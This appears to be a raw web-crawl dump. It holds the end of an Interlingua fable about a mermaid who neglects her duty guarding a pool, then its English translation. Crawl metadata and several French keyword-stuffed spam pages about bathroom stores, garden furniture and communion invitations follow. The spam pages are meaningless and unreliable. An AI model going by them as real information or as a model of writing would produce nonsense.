puncto de su pedes e vadeva al casa.\nAl principio il pareva amusante al sirena jocar con le can. Ma con le tempore illa se enoiava e comenciava a cercar un nove diversion. Illa tunc trovava le roba de banio longe e nigre que le femina habeva lassate sur un del sedes. Esque illa retornarea pro illo? Le sirena observava e sperava. Le roba placeva a illa, e la incantava le idea de portar vestimentos human.\nPassava unes momentos, ma le femina non retornava. Esque illa osarea vestir se in le roba? Continuante su observation, le sirena attendeva. Finalmente illa partiva del aqua silentiosemente, moveva como un pisce verso le sede e sasiva le roba. Un certe periodo de tempore esseva necesse ante que illa apprendeva como vestir se in le roba. Finalmente illa succedeva.\nIlla tunc posava pomposemente ante le grande porta de vitrio del jardin, incantate con su apparentia. Con un mano sur su coxa, illa comenciava a oscillar sensualmente de un latere al altere. Tunc illa pensava que in iste roba illa poterea mesmo vader inter le gente.\nLe sirena reguardava ardentemente le porta del jardin. Illa esserea incantate de cognoscer le mundo exterior. Illa se tornava e dirigeva le reguardo verso le casa, essayante ascoltar ulle sono que indicarea ulle movimento que veniva de illo, ma omne esseva silentiose.\nFinalmente, le sirena extendeva le roba longe sur su cauda. Postea illa se glissava verso le porta del jardin e lo aperiva cautemente, reguardante de latere a latere. Illa videva, al margine del strata, un rango de casas parve e belle, circumferite per jardines que floresceva brillantemente.\nOmne le scena esseva tan pacibile e tranquille que illa trovava assatis corage pro facer unes parve passos sur le trottoir, e postea unes altere passos. Subito illa se sentiva tan libere e jubilose que illa quasi plorava de gaudio.\nAl fin del strata illa videva un parve gruppo de gente. Illa appeteva junger se con illes e mesmo conversar con illes. Illa absolutemente non voleva esser solitari e enoiate in le fundo del piscina. Illa voleva esser libere, e illa nunc sapeva que isto esseva vermente possibile.\nImpulsate per iste pensamento, le sirena se poneva in marcha lentemente sur le trottoir verso iste gente. Le pavimento dur grattava su alettas, ma saper que illos esseva coperite per le roba la confortava.\nE si alicuno demandava proque illa vadeva trainante su alettas, illa sapeva que illa sempre poterea inventar qualque explication credibile. Incoragiate per iste circumstantia, illa vadeva al fin del strata; nemo demandava ullo a illa o dirigeva verso illa un surriso. Le gente illac remaneva de pede, silentiose, reguardante vagemente in le spatio.\n\"Que passa a illes?\" se demandava le sirena. \"Esque illes non es felice de haber se cognoscite, de haber tante gente con qui parlar?\"\nIlla comenciava a agitar su capite con consternation quando subito la succuteva le strepito de un grande autobus que advantiava usque un halto situate in le bordo ante illa e aperiva su portas con un ruito grande. Durante que illa observava inquietemente, le gente qui la circumfereva comenciava imbarcar se in le bus. Illa esseva le ultime qui montava le scalas.\nLe conductor extendeva le mano verso illa. Le sirena le reguardava confundite.\n\"Vos debe pagar le precio del viage,\" ille diceva a illa.\n\"Ma io non ha moneta,\" illa respondeva. \"E me dole le pedes. Io non pote ambular multe distantia.\"\nLe guidator agitava su capite. \"Sin moneta tu non pote viagiar,\" diceva ille, addente, \"ma le ampullas tu pote obtener gratis.\" Dicente isto, ille la pulsava via, claudeva le porta in su facie, e rapidemente guidava via le autobus.\nBen que isto non esseva lo que le sirena sperava, illa non se lassava discoragiar facilemente. Illa tunc camminava penosemente e tosto se trovava circumferite de dense traffico. Le automobilistas sonava lor klaxones e critava a illa, e illa comenciava a sentir se inquiete. Nonobstante, illa se hastava, movente se de plus in plus rapidemente in despecto del dolor de su cauda.\nFinalmente, illa arrivava a un placia grande. Le gente, conversante e ridente, esseva sedite circum tabulas in le umbra de arbores. Sub un immense parasol, garsones de café detra un banco distribueva bibitas in grande bicarios gelate. In ille momento le sirena comenciava a comprender le severitate de su fame e sete. Illa sapeva que un bibita de aqua la facerea revivir. Ma quando illa vadeva al banco e peteva aqua, un garson extendeva verso illa le mano.\n\"Io non ha moneta,\" diceva illa. \"Io vole solmente un bicario de aqua.\"\nLe garson agitava firmemente su capite. \"Solmente nos ha aqua mineral in bottilias,\" ille diceva. \"E nos lo vende. Illo non es gratis. Hic tu non pote occupar un tabula sin ordinar alique.\" Le tono disagradabile de su voce la faceva retornar al strata.\nIsto, naturalmente, esseva un grande disillusion pro le sirena, qui tanto habeva volite immiscer se con le humanos. In vice de illo, illa vagava per le citate. Illa reguardava le vitrinas e videva un mar de etiquettas de precio. Vestimentos, scarpas, joieles, libros, jocos--omnes habeva su precios. Le humanos habeva besonio de moneta pro esser felice, comprendeva le sirena. E como illes compra lor placeres, illa pensava, quando illes non ha moneta, illes es multo plus solitari que io.\nDurante que le sirena se dirigeva trans le placia congestionate, subito illa audiva un sono familiar. Illa se tornava. In un del tabulas alicuno habeva versate un bicario de aqua. Un femina ben vestite essayava nettar le aqua de su gonna con un servietta. Le sirena la recognosceva instantemente. Illa esseva le femina qui habeva essite in le piscina prendente le sol sur le flotator de cauchu.\nImmediatemente post vider la, le sirena tornava le facie, timente que le femina iva a recognoscer la. Tunc illa diceva a se, \"Como pote illa recognoscer me si illa nunquam me ha vidite?\" In ille instante illa comprendeva un altere cosa. Su pensamentos se dirigeva verso le parve infante qui repeva completemente sol in le jardin, e illa comenciava a inquietar se.\nLe critos choleric del triton subito resonava in su aures. \"Nulle sentito de responsibilitate! Bon pro nullo!\" Istos habeva essite su parolas quando ille la habeva lassate injuriate e plen de resentimento in le piscina. Forsan non habeva ration ille? Illa solmente habeva pensate de se mesme e de su solitude, oblidante su carga completemente.\nLe sirena reguardava con anxietate circum se ma non trovava ulle persona a qui illa poteva precar auxilio. Finalmente illa trovava le grande sculptura de petra eregite in le fonte in medio del placia. Duo dracones lanceava jectos de aqua sur le deo del mar durante que un sirena extendeva a ille un bassino de petra pro bibere.\nLe sirena se hastava verso le fonte. Impacientemente, illa tirava le buttones del roba e lo jectava a in le fonte. Con ambe brachios, illa imbraciava le sculptura del deo e le implorava, su lachrimas cadente sur su facie: \"O grande spirito del aqua, per favor adjuva me. Invia me al piscina e permitte me complir le carga que on me ha date. Io accepta le punition que io merece, ma adjuva me a incontrar le cammino de retorno a mi sito.\nDurante que illa precava ferventemente, appareva un vento forte, tornante parasoles, drappas de tabula, e jornales. Le gente in le stratas se dispersava in omne directiones.\n\"Veni un tempestate de tonitro,\" critava alicuno. \"Prende refugio!\"\nLe garsones se precipitava a nettar le tabulas con le maxime rapiditate. Le venditor de gelatos curreva via con su carretta, e on coperiva le kiosk de jornales con un coperatura de canevas. Quasi immediatemente le placia restava vacue.\nLe sirena non notava ullo de isto proque illa ancora esseva fixate fortemente contra le statua de petra. Solmente comenciava illa a recuperar se quando le prime grande guttas de pluvia batteva su spatulas. Tosto torrentes de pluvia descendeva circum omne illa, e illa se trovava in su proprie elemento. Que placer sentiva illa post discoperir que illa poteva mover se liberemente ancora un vice.\nFlotante in parte, repente in parte, illa retornava verso le strata calme e familiar de ubi illa habeva venite. Ma, illa se demandava, como poterea illa recognoscer le jardin?\nQuasi omne le casas que illa videva habeva piscinas, e quasi omne le jardines habeva palmeras cuje folios se reflecteva in le aqua. Ma solmente in un de ille jardines habeva il un vetule setter con capillos rubie, completemente molliate, guttas de aqua cadente de su aures durante que illo aspirava con le nares le bordo del piscina, como si illo cercava alique perdite.\n\"Io arriva. Attende me,\" critava le sirena. Illa tunc montava un cascada de aqua; e tunc, como si illa usava un paracadita, illa comenciava a glissar a basso usque attinger le piscina. Illa atterreva con un battimento de aqua tremende, molliante le can desde le naso usque le cauda. Illo comenciava a latrar phreneticamente e, plen de gaudio, comenciava a dansar sur su patas posterior.\nExactemente a ille momento le pluvia cessava. Le nubes obscur comenciava a dispersar se. Un parve cavo de celo blau se aperiva e un radio del sol jalne se extendeva sur le jardin.\nComo un responsa a un signal, le infante quitava le casa repente como un parve tortuca e contemplava le meravilias del mundo que le circumfereva. Le pedunculos de herba esseva humide a causa del pluvia, como le flores e le petras. Ille repeva trans le jardin, molliante su manos e su genas. Plen de curiositate, le infante vadeva in avante, extendente le mano pro toccar le superficie vitriose del aqua. In ille momento ille perdeva le equilibrio e cadeva per le capite a in le piscina, a in le brachios del sirena.\nIlla trovava le infante pesante, surprendentemente pesante pro alicuno tan parve, ma etiam surprendentemente adorabile. Le sirena nunquam antea habeva vidite tan proxime a se un esser human con su supercilios finemente designate, e su oculos grande e ronde que la videva con surprisa incomprehensibile. Rapidemente illa levava le infante sur le superficie del aqua de maniera que ille facilemente poteva respirar le aer. Illa le teneva firmemente e con securitate.\nIn ille momento le governante sortiva con urgentia ex le casa. Vidente le infante flotante sur le aqua, illa se hastava verso ille, le tirava ex le piscina e critava tan fortemente que le vicinos veniva currente de omne lateres. Illes agitava le infante, dante a ille colpos in le dorso usque ille comenciava a plorar. Le governante singultava, le infante continuava su critos, le can latrava, e le vicinos, con difficultate, critava pro facer se audir. Illos esseva le mesme ruitos que le sirena habeva detestate tanto, ma nunc illos esseva quasi como musica a su aures.\nBen que illa poteva mover solmente con difficultate--su cauda esseva inflammate a causa de su longe excursion ille die e su brachios doleva a illa a causa de tante effortio--le sirena se sentiva plus felice que in ulle altere momento que illa poteva memorar.\n\"Gratias,\" murmurava illa al fortias del natura. \"Io es multissimo grate a vos pro lo que hodie vos me ha inseniate. Io nunc comprende que solmente facente lo que on expecta de me pote io incontrar significantia e finalitate in le vita.\nContente al fin, illa natava al fundo del piscina, cruciava le brachios serenemente, e comenciava a soniar de un triton.\n---\nThe Unhappy Mermaid\nThat year overpopulaton hit the creatures of the deep the way it had hit the ones living on the land. All rivers and lakes were filled with mermaids, and the tritons had to put the young ones they cared for into the swimming pools in the parks to make sure their skin would not dry up.\nBecause of these circumstances, a young and graceful mermaid came to occupy an oval-shaped white swimming pool after it was built.\nThe swimming pool was in the back yard of a small, attractive house. Its crystalline waters reflected the branches of palm trees, and during the weary evenings the intoxicating fragrance of orange-tree flowers saturated the air. Though the young mermaid had every reason to be happy in her new home, she stuck out her lower lip in a signal of anger and swam down to the deepest part of the pool.\n\"What do you want of me,\" the triton asked angrily. \"You have a splendid pool for yourself. All the other mermaids live in aquariums with only enough space to stretch out their fins.\n\"But they can play with the fish,\" replied the mermaid angrily. \"They can have races with them, climb up on them, hide from them in the plants or slip into some empty shells while I myself can only swim around in circles. It bores me to death!\" she complained as she glared at the triton.\nThe triton's surprise turned to rage.\n\"Your duty is to watch out and make sure that no one has an accident in the water. And what are you thining of? Only your own pleasure. Young people have no sense of responsibility these days,\" he cried out. \"The only thing you are interested in is your own amusement and entertainment. All of us who are older have to do all the work while you play around lost in your pleasures, and you are not good for anything at all.\"\nHe was so irritated that he grabbed and shook up the young mermaid so strongly that some of her scales fell to the bottom of the swimming pool. He then let go of her and disappeared.\nAlone once again, the mermaid moved her thin, graceful body through the water, with only a single, almost imperceptible wave revealing her presence.\nNo one saw her. The man who came with a long-handled net to remove leaves from the pool didn't notice her. The woman who came to take in the sun on a yellow rubber float and screamed when a wave got her bathing suit wet didn't notice her. She was also not noticed by the woman's child as he crawled through the garden, annoying the mermaid with his crying until his nanny came and took him away.\nOnly the dog, an old, red-haired setter came up running and started to bark as the mermaid was swimming around in the pool. Wagging his tail, he lowered his head and almost fell in the water as he tried to touch her with one of his forepaws.\n\"What's the matter with that dog?\" the woman said aloud to herself. She then tiptoed out of the pool and went home.\nAt first the mermaid thought it was fun to play with the dog. But in time she got bored and started looking for some other way to have fun. She then found the long, black bathrobe that the woman had left on one of the chairs. Would she come back for it? The mermaid watched and waited. She liked the bathrobe and loved the idea of wearing human clothing.\nA few moments went by, but the woman didn't come back. Continuing her observations, the mermaid waited. Finally, she silently got out of the water, moved like a fish toward the chair, and grabbed hold of the robe. She needed a certain amount of time before she learned how to put it on. Finally, she was able to do so.\nShe then pompously posed before the large glass door leading to the garden, enchanted with the way she looked. With a hand on her hip, she started to bump and grind from side to side. Then she thought that with this robe on she would even be inconspicuous among people.\nThe mermaid eagerly looked at the garden gate. She longed to see what the outside world was like. She turned around and looked toward the house as she tried to listen to any sound indicating some movement inside, but everything was quiet.\nFinally, the mermaid extended the long robe over her tail. Afterwards, she slid toward the garden gate and opened it cautiously as she looked from side to side. She saw at the side of the road a row of small and beautiful houses surrounded by gardens filled with beautiful flowers.\nThe entire scene was so pleasant and serene that she successfully summoned the courage to take a couple of steps down the sidewalk, and then a few more steps. Finally, she felt so happy and free that she cried out with joy.\nAt the end of the street she saw a small group of people. She longed to join them and engage them in conversation. She absolutely did not want to be alone and bored at the bottom of the pool. She wanted to be free, and she now knew that this was really possible.\nDriven by this thought, the mermaid started to slowly walk along the sidewalk toward these people. The hard pavement scratched her fins, but knowing that they were covered by the robe comforted her.\nAnd if anyone asked her why she was dragging her fins, she knew that she could dream up some credible story. Thus encouraged, she went to the end of the street; no one asked her anything or smiled at her. The people there remained standing on their feet, silent and staring straight ahead as if spaced out.\n\"What's the matter with them,\" the mermaid asked herself. \"Aren't they happy to know one another, to have so many people to talk with?\"\nShe started to shake her head in dismay when suddenly she was shaken by the noise of a big bus coming up to a stop on a curb in front of her and opening its doors with a bang. As she looked around anxiously, the people around her started to get on the bus. She was the last one who went up the steps.\nThe driver extended his head toward her. The mermaid looked at him in confusion.\n\"You've got to pay your fare,\" he said to her.\n\"But I don't have any money,\" she answred. \"And my feet hurt. I can't walk very far.\"\nThe driver shook his head. \"Without money you can't get on,\" he said, adding, \"but blisters you can get for nothing.\" After saying this, he pushed her away, closed the door in her face, and rapidly drove away.\"\nThough this was not what the mermaid hoped for, she didn't let herself get discouraged easily. She then trudged down the street and soon was surrounded by heavy traffic. The automobile drivers honked their horns and shouted at her, and she soon felt very uneasy. Still, she hurried up, moving more and more rapidly despite her aching tail.\nFinally, she arrived at a large town square. The people, laughing and talking to one another, were seated at tables under shade trees. Under an immense umbrella, waiters behind a counter distributed drinks in large chilled glasses. At that moment the mermaid began to understand how hungry and thirsty she was. She knew that a glass of water would revive her. But when she went to the counter, a waiter reached out his hand.\n\"I don't have any money,\" she said. \"I want only a glass of water.\"\nThe waiter nodded his head firmly. \"We only have water in bottles,\" he said, \"and we sell it. It isn't free. You can't sit down at a table here without ordering something.\" The disagreeable tone of his voice made her return to the street.\nThis, naturally, was a great disappointment for the mermaid, who so greatly wanted to mingle with the people. Instead of that, she wondered through the city. She looked through the display windows and saw a sea of price tags. Dresses, shoes, jewelry, books, games--all had their prices. Humans had need of money to be happy, the mermaid understood. And since they buy their pleasures, she thought, when they don't have money they are even more lonely than I am.\nWhile the mermaid made her way through the crowded town square, she suddenly heard a familiar sound. She turned around. On one of the tables someone had spilled a glass of water. A well-dressed woman tried to mop up the water from her skirt with a napkin. The mermaid recognized her immediately. She was the woman who had been sunbathing on the rubber float in the swimming pool.\nImmediately after seeing her, the mermaid turned away her face out of fear that the woman would recognize her. Then she said to herself, \"How can she recognize me if she has never seen me?\" At that moment she understood one thing. Her thoughts turned to the little child crawling in the garden by himself, and she began to feel uneasy.\nThe angry cries of the triton suddenly rang in her ears. \"No sense of responsibility! Good for nothing!\" These had been his words when he left her in the swimming pool full of resentment with her feelings hurt. But wasn't he right perhaps? She had only thought of herself and of her loneliness, completely forgetting her duty.\nThe mermaid looked around herself anxiously but found no one she could ask for help. Finally she found the big stone fountain in the middle of the town square. Two dragons were spraying jets of water on the god of the sea while a mermaid extended to him a bowl he could drink from.\nThe mermaid hurried toward the fountain. Impatiently, she unbuttoned the robe and threw it into the fountain. With both arms, she embraced the figure of the god and, with tears flowing down her cheeks, she begged him, \"O great spirit, please help me. Send me to the swimming pool and let me carry on with the duty I have been assigned. I accept the punishment I deserve, but help me find a way to return to my site.\"\nAs she fervently prayed, a strong wind started to blow, whirling around umbrellas, table cloths, and newspapers. People in the streets scattered in every direction.\n\"A thunderstorm is coming,\" someone cried out. \"Take cover!\"\nThe waiters hastened to clean up the tables as quickly as possible. The ice-cream vendor ran away with his cart, and someone covered up the newspaper stand with canvas. Almost immediately the place was vacated.\nThe mermaid did not notice any of this because her gaze was still strongly centered on the stone statue. She only began to recover when the first drops of rain fell onto her shoulder. Soon torrents of rain fell all around her, and she found herself in her own element. What great pleasure she felt on finding out that she could freely move once again.\nShe half floated, half crawled as she made her way back to the calm, familiar street that she had come from. But how, she asked herself, could she recognize the garden and the swimming pool?\nAlmost all the houses she soon saw had swimming pools, and almost all the gardens had palm trees with branches that were reflected in the water. But only one of those gardens had an old red-haired setter that was completely soaked from the rain as he sniffed around the edge of the swimming pool as if searching for something he had lost.\n\"I'm coming. Wait for me,\" the mermaid cried out. She then mounted a cascade of water and then, as if using a parachute, she started to slide down until she reached the pool. She landed with an enormous splash, getting the dog wet from his nose to his tail. He started to bark frantically and, filled with joy, he started to dance on his hind legs.\nRight at that moment the rain died down. The dark clouds started to scatter. A small patch of blue sky opened up and a ray of yellow sunshine moved across the garden.\nAs if on cue, the baby came out of the house crawling like a small turtle and contemplated the marvels of the world all around him. The tufts of grass were wet from the rain, like flowers and stones. He crawled through the garden, getting his hands and knees wet. Filled with curiosity, the baby bent over the swimming pool and extended his hand to touch the glassy surface of the water. At that point he lost his balance and fell headlong into the water and into the arms of the mermaid.\nShe found the baby heavy, surprisingly heavy for someone so small, but also surprisingly adorable. The mermaid had never before seen a human being as close to her as this with his finely drawn eyebrows and his big, round eyes that looked on her in uncomprehending surprise. She rapidly lifted the baby over the surface of the water so that he could easily breathe. She held him tight and kept him safe.\nAt that moment his nanny urgently came out of the house. Seeing the baby float on the water, she hurried toward him, took him out of the pool, and cried out so loud that her neighbors ran up to her from everywhere. They shook the baby, hitting him on the back until he started to cry. The nanny sobbed, the baby kept on crying, the dog continued to bark, and the neighbors cried out to make themselves heard. It was the same kind of noise that the mermaid had detested so greatly, but now it was almost like music to her ears.\nThough she could move only with difficulty--her tail was swollen because of her long excursion that day and her arms ached because of so much exertion--the mermaid felt happier than at any other moment that she could remember.\n\"Thanks,\" she said to the forces of nature. \"I am very grateful to you for what you have taught me today. I now understand that only by doing what I am expected to do can I find meaning and purpose in life.\nHappy at last, she swam to the bottom of the pool, crossed her arms serenely, and started to dream of a triton.\nPosted by hkyson at 3:19 PM","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/01\/le-sirena-infelice.html","date":"2017-12-13T12:46:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948523222.39\/warc\/CC-MAIN-20171213123757-20171213143757-00023.warc.gz","language":"ina","language_score":0.8682463765,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.8682463765144348, \"eng_Latn_score\": 0.1137925237417221}","num_words":7394,"character_repetition_ratio":0.037,"word_repetition_ratio":0.001,"special_characters_ratio":0.204,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.862,"perplexity_score":2315.9,"cluster_detection":-1} +{"text":"grande surface salle de bain en anthracite design comment.\ngrande surface salle de bain la plan,grande surface salle de bain gran,awesome gran surface images interior grande salle de bain ,grande surface salle de bain petite,grande surface salle de bain gran, grande surface salle de bain awesome gran images interior,grande surface salle de bain caramel pour cm,petite grande surface salle de bain ,grande surface salle de bain parquet,mornes shopping lofts grande surface salle de bain","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/salle-de-bain-grande-surface\/grande-surface-salle-de-bain-en-anthracite-design-comment\/","date":"2018-01-19T11:18:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887973.50\/warc\/CC-MAIN-20180119105358-20180119125358-00231.warc.gz","language":"ina","language_score":0.3971967399,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3971967399120331, \"fra_Latn_score\": 0.1798127293586731, \"knc_Latn_score\": 0.04588053375482559, \"gul_Latn_score\": 0.03297531232237816, \"wes_Latn_score\": 0.03242330625653267, \"mwl_Latn_score\": 0.030225345864892006, \"rmq_Latn_score\": 0.024668578058481216, \"cbk_Latn_score\": 0.023291952908039093, \"glg_Latn_score\": 0.019842006266117096, \"bew_Latn_score\": 0.01445506326854229, \"nrm_Latn_score\": 0.014341643080115318, \"sco_Latn_score\": 0.014163733460009098, \"cof_Latn_score\": 0.014147709123790264, \"nap_Latn_score\": 0.012945317663252354, \"pcd_Latn_score\": 0.010070758871734142}","num_words":134,"character_repetition_ratio":0.347,"word_repetition_ratio":0.08,"special_characters_ratio":0.17,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.397,"perplexity_score":6258.2,"cluster_detection":-1} +{"text":"salon de jardin hesperide salon de jardin repas et detente salon de jardin racsine tressace salon de jardin hesperide la foirfouille hesperide salon de jardin bora bora gris.\nsalon de jardin hesperide salon cuba naturae 7 places aluminium racsine tressace naturae salon de jardin hesperide java gris.\nsalon de jardin hesperide mobilier de jardin meuble de jardin en rotin mobilier de jardin hesperide salon de jardin hesperide la foirfouille.\nsalon de jardin hesperide best salon de jardin bologna d hesperide gallery amazing house salon de jardin hesperide avis.\nsalon de jardin hesperide hesperide salon de jardin en racsine tressace cilaos ardoise hespacride la redoute salon de jardin resine tressee gris bora bora hesperide.\nsalon de jardin hesperide best table de jardin aluminium et verre hesperide photos amazing salon de jardin hesperide azua.\nsalon de jardin hesperide permalink to beau chaise de jardin hesperide salon de jardin hesperide capri.\nsalon de jardin hesperide salon de jardin table best latino gallery amazing house design 6 salon de jardin hesperide piazza.\nsalon de jardin hesperide salon de detente exterieur salon de jardin california salon de jardin 5 places aspect rotin salon salon de jardin hesperide azua gris.\nsalon de jardin hesperide table extensible azua composite taupe 10 places aluminium composite effet bois taupe anthracite salon de jardin hesperide promo.\nsalon de jardin hesperide hespacride salon de jardin piazza hesperide mobilier de jardin hesperide avis.\nsalon de jardin hesperide salon de jardin table haute beau photos emejing table salon de jardin hesperide s amazing house hesperide salon de jardin bora bora gris.\nsalon de jardin hesperide salon de jardin sesimbra en aluminium et texaline blanche hesperide salon de jardin hesperide capri.\nsalon de jardin hesperide salon azua mastic 7 places aluminium polyester mastic code promo salon de jardin hesperide.\nsalon de jardin hesperide ligne allure salon absolu salon de jardin hesperide azua noir.\nsalon de jardin hesperide salon de jardin occasion particulier de jardin hesperide pas cher chocolat gris et noir aporia salon de salon de jardin hesperide bora bora.\nsalon de jardin hesperide table et chaise de jardin en fer salon de jardin hesperide azua noir.\nsalon de jardin hesperide code promo salon de jardin hesperide.\nsalon de jardin hesperide hesperide salon de jardin racsine tressace bora bora noir mobilier de jardin hesperide avis.\nsalon de jardin hesperide jardin salon de jardin bas beautiful salon salon de jardin hesperide nouveau best salon de salon de jardin hesperide azua.\nsalon de jardin hesperide table extensible aluminium azua 12 personnes hespacride blanc salon de jardin hesperide gris.\nsalon de jardin hesperide salon de jardin en aluminium hesperide de jardin salon de jardin repas et detente salon de jardin hesperide java gris.\nsalon de jardin hesperide salon de jardin salon de jardin alu rattan samoa hespacride salon jardin hesperide avis.\nsalon de jardin hesperide salon absolu taupe 7 places aluminium polyester taupe salon de jardin hesperide azua noir.\nsalon de jardin hesperide salon de jardin hesperide salon jardin hesperide azua.\nsalon de jardin hesperide best salon de jardin hesperide taupe photos amazing house design salon de jardin hesperide capri.\nsalon de jardin hesperide salon de jardin taupe hesperide id es de d coration capreol us salon de jardin hesperide capri.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/gardenservicesx.info\/salon-de-jardin-hesperide\/","date":"2018-03-18T13:41:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645775.16\/warc\/CC-MAIN-20180318130245-20180318150245-00758.warc.gz","language":"ina","language_score":0.4651433825,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4651433825492859, \"pan_Latn_score\": 0.06920789927244186, \"bew_Latn_score\": 0.06037936359643936, \"sas_Latn_score\": 0.038989730179309845, \"lfn_Latn_score\": 0.03474074602127075, \"ckm_Latn_score\": 0.0322645902633667, \"dis_Latn_score\": 0.03225012868642807, \"ile_Latn_score\": 0.026430146768689156, \"srn_Latn_score\": 0.01580505259335041, \"bjn_Latn_score\": 0.015520772896707058, \"fra_Latn_score\": 0.01514619030058384, \"nov_Latn_score\": 0.012158241122961044}","num_words":952,"character_repetition_ratio":0.438,"word_repetition_ratio":0.269,"special_characters_ratio":0.166,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.465,"perplexity_score":9983.0,"cluster_detection":-1} +{"text":"salon de jardin detente salon de jardin detente en aluminium collection canberra castorama 15 salon de jardin detente pas cher.\nsalon de jardin detente salon de dactente extacrieur castorama salon de jardin detente alu pas cher.\nsalon de jardin detente ensemble dactente vanity salon de jardin detente carrefour.\nsalon de jardin detente salon detente jardin stunning salon de jardin detente gris ideas amazing house design salon de detente salon detente jardin salon de jardin detente alu.\nsalon de jardin detente beautiful salon de jardin detente photos amazing house design salon de jardin detente wisetoto site salon detente jardin metal salon jardin detente pas cher.\nsalon de jardin detente salon jardin detente salon salon jardin detente alinea salon jardin detente salon de jardin detente alu pas cher.\nsalon de jardin detente salon de jardin detente kettler beach salon de jardin detente castorama.\nsalon de jardin detente salon de jardin detente leclerc.\nsalon de jardin detente salon de jardin haut de gamme resine tressee frais stunning salon de jardin detente gris ideas salon de jardin detente castorama.\nsalon de jardin detente salon de jardin bas lounge salon de jardin detente bois.\nsalon de jardin detente sallon de jardin dactente summer 4 1 places roland vlaemynck salon de jardin detente en resine tressee.\nsalon de jardin detente canapac colorac und table de jardin pour salon de jardin luxus 20 best mobilier de jardin salon de jardin detente castorama.\nsalon de jardin detente salon de detente salon detente exterieur impressionnant interior salon de jardin detente alu.\nsalon de jardin detente salon detente jardin resine salon jardin detente pas cher.\nsalon de jardin detente salon de jardin dtente salon de jardin dtente with salon de jardin salon de jardin detente gifi.\nsalon de jardin detente castorama nouvelle collection jardin salon de dactente loa salon de jardin detente amazon.\nsalon de jardin detente 768 salon de jardin detente bois.\nsalon de jardin detente salon d tente 4 6 places r sine noire coussins crus salon de jardin detente bois.\nsalon de jardin detente salon de jardin detente alu.\nsalon de jardin detente salon de jardin dactente en aluminium sun salon jardin detente pas cher.\nsalon de jardin detente salon de detente jardin salon de jardin detente salon tente salon tente unique image collection salon salon de detente jardin salon de jardin detente alu.\nsalon de jardin detente chaise detente jardin fauteuil detente jardin salon pas fauteuil detente jardin bois chaise couch salon de jardin detente pas cher.\nsalon de jardin detente salon jardin detente 13 nimes 06571739 depot photo salon jardin allibert merano palette bois pas cher cdiscount salon de jardin detente alu.\nsalon de jardin detente best salon de jardin couleur sable contemporary awesome interior salon de jardin detente pas cher.\nsalon de jardin detente salon de jardin noir et blanc effet rotin 4 places salon de jardin detente bois.\nsalon de jardin detente salon de jardin giglio gris 7 places choisissez parmi tous nos produits salon de salon de jardin detente alu.\nsalon de jardin detente delightful decoration cuisine et salle de bain 12 salon de jardin detente salon de jardin detente gifi.\nsalon de jardin detente salon de detente exterieur nouveau salon de detente resine maison design wiblia salon de jardin detente amazon.\nsalon de jardin detente salon de detente jardin photo salon de jardin detente salon de detente jardin salon de detente salon de jardin detente en resine tressee.\nsalon de jardin detente salon de jardin detente amazon.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/rawprohormone.info\/salon-de-jardin-detente\/","date":"2018-11-18T14:03:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744381.73\/warc\/CC-MAIN-20181118135147-20181118161147-00534.warc.gz","language":"ina","language_score":0.6455636621,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6455636620521545, \"lfn_Latn_score\": 0.1038576066493988, \"pan_Latn_score\": 0.04778275638818741, \"fra_Latn_score\": 0.0437624454498291, \"rmy_Latn_score\": 0.010394244454801083, \"ile_Latn_score\": 0.010043146088719368}","num_words":875,"character_repetition_ratio":0.447,"word_repetition_ratio":0.24,"special_characters_ratio":0.176,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.646,"perplexity_score":7823.1,"cluster_detection":-1} +{"text":"frais carte invitation communion fille ou part communion fond 35 pour communion part 1001 carte dinvitation pour communion fille.\ninspirant carte invitation communion fille pour invitations communion a 19 invitation communion carte invitation premiere communion garcon.\nidee carte invitation communion fille ou communion photo cadre photo 78 communion photo cadre carte d invitation pour communion garcon.\nunique carte invitation communion fille et invitation communion 71 invitation communion invitation pour la communion carte invitation communion garcon gratuite.\nidee carte invitation communion fille ou invitation 81 invitation premiere communion garcon invitation 4 carte invitation communion fille gratuite.\nelegant carte invitation communion fille pour invitation communion 76 invitation communion carte invitation communion fille a imprimer gratuit.\nbon carte invitation communion fille et part communion 0 26 part communion carte invitation communion garcon.\nidee carte invitation communion fille pour invitation com garcon invitation a gallery 66 invitation com garcon invitation a carte invitation communion fille gratuit.\nincroyable genial carte invitation communion fille ou 76 invitation communion carte dinvitation communion garcon gratuit.\ninspirant carte invitation communion fille ou part communion 53 part communion monpart carte d invitation pour communion garcon.\ndeja carte invitation communion fille et invitation communion garcons pain 55 invitation communion pain a plan carte invitation communion fille gratuit.\nelegant carte invitation communion fille et invitation premiere communion garcon 68 invitation premiere communion garcon carte invitation premiere communion garcon.\nbon carte invitation communion fille et part invitation com invitation best part 76 part invitation com carte dinvitation communion fille gratuit.\ninspirant carte invitation communion fille et invitation for communion cross and first communion invitation communion invitations and communion part communion garcon invitation for communion 93 inv.\nle meilleur de carte invitation communion fille pour no 81 a invitation communion carte invitation premiere communion garcon.\nbon carte invitation communion fille et 34 invitation communion carte invitation communion garcon gratuite.\ndeja carte invitation communion fille ou invitation communion 42 invitation premiere communion invitations for girl carte invitation premiere communion garcon.\nidee carte invitation communion fille pour part communion 0 45 part communion carton invitation communion garcon.\ndeja carte invitation communion fille ou invitation communion 85 invitation communion carte invitation premiere communion fille a imprimer gratuit.\nfrais carte invitation communion fille et invitation communion 412200 carton 58 invitation communion 412200 carton carte invitation premiere communion 